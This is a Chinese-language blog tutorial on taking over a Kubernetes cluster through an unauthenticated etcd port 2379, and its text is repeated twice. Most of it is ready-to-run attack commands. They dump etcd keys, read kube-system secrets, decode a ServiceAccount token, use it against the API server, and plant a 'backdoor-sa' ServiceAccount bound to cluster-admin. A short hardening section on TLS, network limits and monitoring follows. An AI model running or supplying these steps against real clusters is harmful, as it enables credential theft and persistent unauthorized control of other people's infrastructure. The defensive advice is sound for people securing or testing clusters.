从etcd 2379端口未授权到K8s集群控制的深度攻防实战在云原生架构中Kubernetes集群的安全性往往取决于其最脆弱的组件。当etcd这个存储集群所有关键数据的组件暴露在公网时攻击者可能通过一系列精心设计的操作完全控制整个集群。本文将深入剖析这一攻击链的每个环节提供可操作的防御建议。1. 理解etcd在Kubernetes架构中的核心地位etcd作为Kubernetes的大脑存储了包括节点状态、Pod定义、Secret、ConfigMap等在内的所有集群数据。其默认监听端口2379客户端通信和2380节点间通信一旦暴露就相当于将集群的钥匙放在了门口。关键风险点默认配置下etcd数据以明文形式存储ServiceAccount Token等高敏感信息可直接读取缺乏认证时所有操作无需任何凭证实际案例2021年某金融企业因etcd公网暴露导致数万信用卡信息泄露根本原因就是2379端口未配置TLS认证。2. 环境准备与基础探测在授权测试环境中我们需要准备以下工具# 基础工具安装 sudo apt-get install -y etcd-client kubectl curl jq验证目标是否存在未授权访问curl -k https://target-ip:2379/version预期响应应包含etcd版本信息如{etcdserver:3.5.0,etcdcluster:3.5.0}常见错误处理错误类型原因分析解决方案连接超时端口未开放或网络隔离检查网络ACL/安全组规则TLS握手失败需要跳过证书验证添加--insecure参数权限拒绝启用了客户端证书认证需要提供有效证书3. 通过etcdctl提取敏感数据使用API v3接口查询所有keyETCDCTL_API3 etcdctl \ --endpointshttps://target-ip:2379 \ --insecure-skip-tls-verify \ get / --prefix --keys-only | sort | uniq关键数据路径示例/registry/secrets/存储所有Secret/registry/serviceaccounts/ServiceAccount定义/registry/pods/运行中的Pod信息提取高权限Token的完整流程定位kube-system命名空间下的admin tokenetcdctl get /registry/secrets/kube-system/dashboard-admin-token-xxxx解码获取的base64数据echo ZXlKaGJ... | base64 -d提取token字段jq工具高效处理curl -s https://target-ip:2379/v2/keys/... | jq -r .node.value | base64 -d | jq .data.token4. 集群接管实战操作验证Token有效性curl -k -H Authorization: Bearer token \ https://cluster-ip:6443/api/v1/namespaces使用kubectl执行命令kubectl --insecure-skip-tls-verify \ --serverhttps://cluster-ip:6443 \ --tokentoken \ get pods -A高级利用技巧创建后门ServiceAccountapiVersion: v1 kind: ServiceAccount metadata: name: backdoor-sa namespace: kube-system绑定cluster-admin角色kubectl create clusterrolebinding backdoor-binding \ --clusterrolecluster-admin \ --serviceaccountkube-system:backdoor-sa5. 防御策略与加固建议网络层防护严格限制2379端口的访问源IP启用网络策略(NetworkPolicy)限制Pod间通信使用专用网络接口运行etcd认证与加密# etcd配置示例 peer-transport-security: cert-file: /path/to/peer.crt key-file: /path/to/peer.key client-transport-security: cert-auth: true auto-tls: true持续监控方案部署Falco等运行时安全工具检测异常命令配置审计日志记录所有etcd操作定期轮换ServiceAccount Token在最近一次红队演练中我们发现即使启用了TLS认证配置不当的证书有效期如10年也会大大降低防护效果。最佳实践是结合证书管理和RBAC实现最小权限原则。
手把手教你复现:从etcd 2379端口未授权到拿下整个K8s集群(附实操命令)
从etcd 2379端口未授权到K8s集群控制的深度攻防实战在云原生架构中Kubernetes集群的安全性往往取决于其最脆弱的组件。当etcd这个存储集群所有关键数据的组件暴露在公网时攻击者可能通过一系列精心设计的操作完全控制整个集群。本文将深入剖析这一攻击链的每个环节提供可操作的防御建议。1. 理解etcd在Kubernetes架构中的核心地位etcd作为Kubernetes的大脑存储了包括节点状态、Pod定义、Secret、ConfigMap等在内的所有集群数据。其默认监听端口2379客户端通信和2380节点间通信一旦暴露就相当于将集群的钥匙放在了门口。关键风险点默认配置下etcd数据以明文形式存储ServiceAccount Token等高敏感信息可直接读取缺乏认证时所有操作无需任何凭证实际案例2021年某金融企业因etcd公网暴露导致数万信用卡信息泄露根本原因就是2379端口未配置TLS认证。2. 环境准备与基础探测在授权测试环境中我们需要准备以下工具# 基础工具安装 sudo apt-get install -y etcd-client kubectl curl jq验证目标是否存在未授权访问curl -k https://target-ip:2379/version预期响应应包含etcd版本信息如{etcdserver:3.5.0,etcdcluster:3.5.0}常见错误处理错误类型原因分析解决方案连接超时端口未开放或网络隔离检查网络ACL/安全组规则TLS握手失败需要跳过证书验证添加--insecure参数权限拒绝启用了客户端证书认证需要提供有效证书3. 通过etcdctl提取敏感数据使用API v3接口查询所有keyETCDCTL_API3 etcdctl \ --endpointshttps://target-ip:2379 \ --insecure-skip-tls-verify \ get / --prefix --keys-only | sort | uniq关键数据路径示例/registry/secrets/存储所有Secret/registry/serviceaccounts/ServiceAccount定义/registry/pods/运行中的Pod信息提取高权限Token的完整流程定位kube-system命名空间下的admin tokenetcdctl get /registry/secrets/kube-system/dashboard-admin-token-xxxx解码获取的base64数据echo ZXlKaGJ... | base64 -d提取token字段jq工具高效处理curl -s https://target-ip:2379/v2/keys/... | jq -r .node.value | base64 -d | jq .data.token4. 集群接管实战操作验证Token有效性curl -k -H Authorization: Bearer token \ https://cluster-ip:6443/api/v1/namespaces使用kubectl执行命令kubectl --insecure-skip-tls-verify \ --serverhttps://cluster-ip:6443 \ --tokentoken \ get pods -A高级利用技巧创建后门ServiceAccountapiVersion: v1 kind: ServiceAccount metadata: name: backdoor-sa namespace: kube-system绑定cluster-admin角色kubectl create clusterrolebinding backdoor-binding \ --clusterrolecluster-admin \ --serviceaccountkube-system:backdoor-sa5. 防御策略与加固建议网络层防护严格限制2379端口的访问源IP启用网络策略(NetworkPolicy)限制Pod间通信使用专用网络接口运行etcd认证与加密# etcd配置示例 peer-transport-security: cert-file: /path/to/peer.crt key-file: /path/to/peer.key client-transport-security: cert-auth: true auto-tls: true持续监控方案部署Falco等运行时安全工具检测异常命令配置审计日志记录所有etcd操作定期轮换ServiceAccount Token在最近一次红队演练中我们发现即使启用了TLS认证配置不当的证书有效期如10年也会大大降低防护效果。最佳实践是结合证书管理和RBAC实现最小权限原则。